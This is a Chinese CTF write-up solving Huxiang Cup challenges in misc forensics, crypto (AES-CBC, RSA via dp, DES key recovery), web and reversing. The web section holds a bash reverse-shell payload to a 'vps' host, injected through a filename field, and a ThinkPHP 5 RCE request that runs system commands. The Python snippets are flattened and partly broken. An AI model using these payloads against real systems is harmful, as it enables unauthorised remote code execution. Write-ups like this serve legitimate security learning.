hxb 总结及wp

本次湖湘杯总体较以往有一定进步,主要问题还是在于拿到题目思路不够多,卡顿比较严重,在某些方法上和高手还有熟练度上的差距

misc

something in image

file命令分析是linux镜像文件,R-studio打开发现Flag.txt拿到flag

Ezmemory

拿到一个mem.raw,上volatility

先volatility -f mem.raw imageinfo获取镜像系统信息

--profile=Win7SP1x64指定操作系统

volatility -f mem.raw --profile=Win7SP1x64 pslist列出所有进程

发现有一个cmd进程

volatility -f mem.raw --profile=Win7SP1x64 cmdscan查看命令行上的操作

发现flag

misc4

azpr爆破解压密码为123456

elf运行后有flag,但是提交错误。根据题目名字猜测是elf隐写,搜了半天搜到一个hydan隐写,参考链接:https://www.cnblogs.com/pcat/p/6716502.html

但是hydan解密需要密码。猜测和压缩包密码一样是123456,得到8*&#b,然后解密aes密文,得到bNa3vN1ImCHYlN42kC1FYA47aMalbAXIpNaMsAXBVNKApMqMnBro8,再解一层xxencode,然后再栅栏拿到最后的flag


crypto

give me your passport

代码审计后,发现是个简单的AES-CBC。

AES的key都已经给了。

只要发过去的东西,前16字节是IV,后面的解密出来是Admin即可获得flag。

任意选择一次服务器返回的IV,然后用KEY对’Admin’加密,连接成密文,发过去,就能拿到flag。

RSA

e * d = 1 (mod (p-1)(q-1))

e dp = 1 (mod p-1)

那么可以写成 edp – 1 = k * (p-1)

其中1 <= k <= e

可以根据下面这个方法爆破k

fromCrypto.Uitl.numberimport*e =65537dp = ...kp_1 = dp*e -1forkinrange(1, e):ifkp_1 % k ==0:        tmp = kp_1 // kifisPrime(tmp+1):            print(tmp)

得到输出127353412948873836906687778206509910878775314988106052080998527001224905757226684812828764973002447453109594922446553339420598206561385151430457829996205647622747518251616965320363658027264186719678664334278218049211583365254398026548102259795044636599208243773041401637282792878778039534749858540041527364997即为p,解密即可

p = ...n = ...c = ...q = n // passert(n == p*q)d = inverse(e, (p-1)*(q-1))m = pow(c, d, n)print(long_to_bytes(m))# flag{d90a4bb43f64275794522dffdb4bd78b}

DES

DES,给了16组子密钥,解密分分钟。(用自己写的DES实现

In [25]:foriinrange(0, len(c), 8):...:print(DES.DES_dec(c[i:i+8], subkey))...:b'4313e6e9'b'1be766c4'b'8725e5bd'

mes = b’4313e6e91be766c48725e5bd’

flag = mes+deskey

关键是恢复出原始的8字节(64位)密钥。

实际上,DES有效的密钥长度是56位,另外8位是为了保证每一个字节都是odd parity。

有2**8=256种可能的原始8字节密钥。

利用工具,可以恢复出其中的某一个:

$ ./des_keyschedule a096463b0798 3433313365366539 800379453d5758a2Round1 key: A096463B0798 == 28 09 19 06 0E 30 1E 18Plain: 3433313365366539Cipher: 800379453d5758a2Reversing key scheduling...Key found at offset 46: 416f48656f664442

hex转成ascii得到AoHeofDB,连接起来,提交,错误。

那看来需要算出另外255种可能的初始密钥,然后手动提交爆破flag了。

In [84]:foriinrange(2**8):...:        tmp= l.copy()...:forindex,jinenumerate(bin(i)[2:].zfill(8)):...:ifj=='1'...:                tmp[index] ^=1...:        key = b''...:forjintmp:...:            key += bytes([j])...:        assert(pyDes.des(deskey).Kn == subkey)...:        print(mes+key)...:...:b'4313e6e91be766c48725e5bdAnHeofDB'b'4313e6e91be766c48725e5bdAnHeofDC'b'4313e6e91be766c48725e5bdAnHeofEB'b'4313e6e91be766c48725e5bdAnHeofEC'b'4313e6e91be766c48725e5bdAnHeogDB'b'4313e6e91be766c48725e5bdAnHeogDC'b'4313e6e91be766c48725e5bdAnHeogEB'b'4313e6e91be766c48725e5bdAnHeogEC'b'4313e6e91be766c48725e5bdAnHenfDB'b'4313e6e91be766c48725e5bdAnHenfDC'b'4313e6e91be766c48725e5bdAnHenfEB'b'4313e6e91be766c48725e5bdAnHenfEC'b'4313e6e91be766c48725e5bdAnHengDB'b'4313e6e91be766c48725e5bdAnHengDC'b'4313e6e91be766c48725e5bdAnHengEB'b'4313e6e91be766c48725e5bdAnHengEC'b'4313e6e91be766c48725e5bdAnHdofDB'b'4313e6e91be766c48725e5bdAnHdofDC'b'4313e6e91be766c48725e5bdAnHdofEB'b'4313e6e91be766c48725e5bdAnHdofEC'...

好在试了前几个就试对了。

最后的flag应该是4313e6e91be766c48725e5bdAnHengDB


web

untar

题目改编了2017 hitcon 的ssrfme

UNTAR的作用其实和GET是一样的,而且filename参数是没有过滤的,所以我们只要多走一步就ok了,payload如下:

shell.txt 内容  bash -i >&/dev/tcp/vps/111110<&12>&1url=http://vps/shell.txt&filename=aurl=http://vps&filename=bash a|

thinkphp?

看到有人一下就秒了,猜测是tp5rce,然后还真是。

thinkphp rce

POST /

_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag


re

re1

程序实现了一个迷宫输入必须为hex

dump出地图

8 1 e b 7 10 1

b f f 1 1 9 1

1 1 1 1 1 b 1

c c 8 e 1 8 1

8 1 1 c 9 e 1

d 8 b 1 1 1 1

1 1 9 a 9 9 63

1 up

2 down

3 left

4 right

2 4 4 1 4 4 4 2 2 2 2 3 3 1 3 3 3 2 2 4 4 2 4 4 4 4

输入后对输入替换出现flag

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容